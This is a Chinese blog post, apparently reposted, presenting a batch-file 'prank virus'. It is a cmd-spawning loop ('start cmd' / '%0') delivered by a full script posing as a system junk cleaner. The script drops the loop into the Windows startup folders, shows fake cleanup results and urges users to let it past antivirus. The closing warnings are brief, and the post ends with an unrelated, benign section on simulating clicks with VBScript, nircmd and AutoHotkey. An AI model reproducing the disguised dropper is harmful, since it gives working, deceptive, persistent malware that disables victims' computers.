用bat写的一个小病毒

博主通过学习bat知识,创建了一个看似系统清理工具但实际上会在用户开机时自动运行的批处理程序,以此消耗系统资源。程序通过将windows.bat写入开机启动目录实现开机自启,用户需谨慎对待未知bat文件,以防中招。提醒用户应在安全环境中测试不可信程序。
部署运行你感兴趣的模型镜像

最近看了一点bat的知识,具体说是看了一个博客:http://blog.youkuaiyun.com/qsyzb/article/details/17364581

用了三天才看完=。=,感觉作者整理整理可以把博客当书买了。。。

然后自己突发其想,想到了一个小病毒程序,其实也算不上病毒,只能算是个恶作剧程序吧,其原理就是不断打开cmd程序,占用系统资源。。。呵呵。。让大神见笑了=。=

windows.bat

start cmd
%0

用户打开这个程序之后,程序就会不断打开cmd,占用系统资源,导致系统瘫痪。%0是再次执行该程序的意思。

但是,这样只能让用户死机一次。。。。重启系统以后,不再打开这个文件以后,就不再会中招了。。。。。

于是做了优化:

写了一个系统清理工具(这只是掩饰,嘿嘿,其实我们是要把这个windows.bat写到用户的开机自启动目录下,达到用户每次开机,都会运行该程序的目的。但是,也不是不可以解决。。。用户可以使用pe到开启启动目录把windows.bat文件删除,或者重装系统,只测试了xp和win7)

废话不说了,上代码:


系统垃圾清理工具:

@echo off
title 系统垃圾清理
color 2f
echo 	=====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
echo.
echo.
echo start cmd >c:\windows\windows.bat
echo %%0>>c:\windows\windows.bat
copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nul
if %errorlevel%==0 goto next
copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动\">nul
if %errorlevel%==1 goto error
:next
echo.
echo.
echo 	=====垃圾清理中,请不要关闭窗口=========
echo.
ping -n 5 127.0.0.1>nul
echo.
echo 	=====垃圾清理完毕,共清理垃圾500M=======
echo.
echo.
echo 	=====建议立即重启电脑==========
pause
:error
echo.
echo.
echo 	======程序运行失败,请【使用管理员权限】重新运行!========
echo.
pause


说明:

首先我们使用echo语句在c:\windows\目录生成windows.bat文件


然后copy到系统的开机启动目录

"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
对应win7的系统开机自启动目录

"%USERPROFILE%\「开始」菜单\程序\启动\"
对应xp的系统开机目录


正常情况下应该是有一条拷贝命令可以执行的,如果两条命令都没有执行说明,权限不够,这时提示用户以管理员权限再次运行。


警示1:

最后,大家收到bat文件的时候,打开之前一定要先用右键——记事本打开看看,不然很可能就中招了。。。。

但是,也有很多软件可以把bat转exe文件,这样就看不到代码了。。。。。。所以,大家不要轻易运行不可信任的程序,可以在沙盒或者虚拟机中先运行试试

警示2:

这个清理系统垃圾的程序,是设定在系统开机的时候发作,所以用户当时运行完并不知道已经中招了。。病毒有潜伏期,大家需警惕~~

转载于:https://www.cnblogs.com/zhezh/p/3773361.html

您可能感兴趣的与本文相关的镜像

Llama Factory

Llama Factory

模型微调
LLama-Factory

LLaMA Factory 是一个简单易用且高效的大型语言模型(Large Language Model)训练与微调平台。通过 LLaMA Factory,可以在无需编写任何代码的前提下,在本地完成上百种预训练模型的微调

以下是一个使用 **批处理(BAT)** 结合 **VBScript** 和 **Windows 脚本工具(如 `wscript` 或 `cscript`)** 实现的模拟点击软件方案。由于纯批处理无法直接模拟鼠标点击,需借助外部工具(如 `nircmd` 或 `AutoHotkey`),这里提供两种方法: --- ### **方法1:使用 VBScript 模拟点击(需保存为 `.vbs` 文件)** ```bat @echo off :: 生成一个临时 VBScript 文件来模拟点击 set "vbsFile=%temp%\simulate_click.vbs" ( echo Set WshShell = WScript.CreateObject^("WScript.Shell"^) echo WScript.Sleep 1000 ^' 等待1秒 echo WshShell.SendKeys "{ENTER}" ^' 模拟按下回车键(示例) ) > "%vbsFile%" :: 运行 VBScript cscript //nologo "%vbsFile%" :: 删除临时文件 del "%vbsFile%" >nul 2>&1 echo 模拟点击已完成(示例:按下回车键)。 pause ``` #### **说明** 1. 此脚本通过 `SendKeys` 模拟键盘输入(如回车键),但无法直接模拟鼠标点击。 2. 如需真正的鼠标点击,需调用第三方工具(如 `nircmd` 或 `AutoHotkey`)。 --- ### **方法2:调用 `nircmd` 工具(推荐)** 1. **下载 `nircmd.exe`** 从 [NirCmd 官网](https://www.nirsoft.net/utils/nircmd.html) 下载工具,解压到系统路径(如 `C:\Windows`)或脚本同目录。 2. **批处理脚本示例** ```bat @echo off :: 检查 nircmd 是否存在 if not exist "nircmd.exe" ( echo 错误:未找到 nircmd.exe,请下载并放置到脚本同目录或系统路径。 pause exit /b 1 ) :: 示例1:模拟鼠标左键点击屏幕坐标 (100, 200) nircmd.exe sendmouse left click 100 200 :: 示例2:移动鼠标到 (300, 400) 并点击 nircmd.exe movecursor 300 400 nircmd.exe sendmouse left click :: 示例3:等待2秒后点击 timeout /t 2 >nul nircmd.exe sendmouse left click echo 模拟点击已完成。 pause ``` #### **功能说明** - `nircmd sendmouse left click X Y`:在屏幕坐标 `(X, Y)` 处模拟左键点击。 - `nircmd movecursor X Y`:移动鼠标到指定坐标。 - 结合 `timeout` 或 `ping` 实现延迟点击。 --- ### **方法3:调用 AutoHotkey(更灵活)** 1. **安装 AutoHotkey** 从 [AutoHotkey 官网](https://www.autohotkey.com/) 安装软件。 2. **批处理脚本调用 AHK** ```bat @echo off :: 生成临时 AHK 脚本 set "ahkFile=%temp%\click_script.ahk" ( echo CoordMode, Mouse, Screen echo Sleep 1000 ^' 等待1秒 echo Click, 100, 200 ^' 在坐标 (100, 200) 处点击 ) > "%ahkFile%" :: 运行 AHK 脚本 autohotkey.exe "%ahkFile%" :: 删除临时文件 del "%ahkFile%" >nul 2>&1 echo 模拟点击已完成。 pause ``` #### **AutoHotkey 脚本示例** ```ahk ; 等待3秒后点击 Sleep 3000 Click, 500, 300 ; 在屏幕坐标 (500, 300) 处点击 ``` --- ### **常见问题及解决** 1. **权限问题** - 如果目标程序需要管理员权限,需以管理员身份运行批处理。 2. **坐标不匹配** - 屏幕坐标可能因多显示器或 DPI 缩放失效,需调整坐标值。 3. **工具依赖** - `nircmd` 和 `AutoHotkey` 需提前安装或放置到正确路径。 4. **防病毒拦截** - 某些工具(如 `nircmd`)可能被误报为恶意软件,需添加信任。 --- ### **终极方案:纯批处理 + 辅助工具** 如果必须用纯批处理,可通过 `mshta` 调用 JavaScript 模拟按键(但无法模拟鼠标): ```bat @echo off mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.SendKeys('{ENTER}');close()" echo 已模拟按下回车键。 pause ``` ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值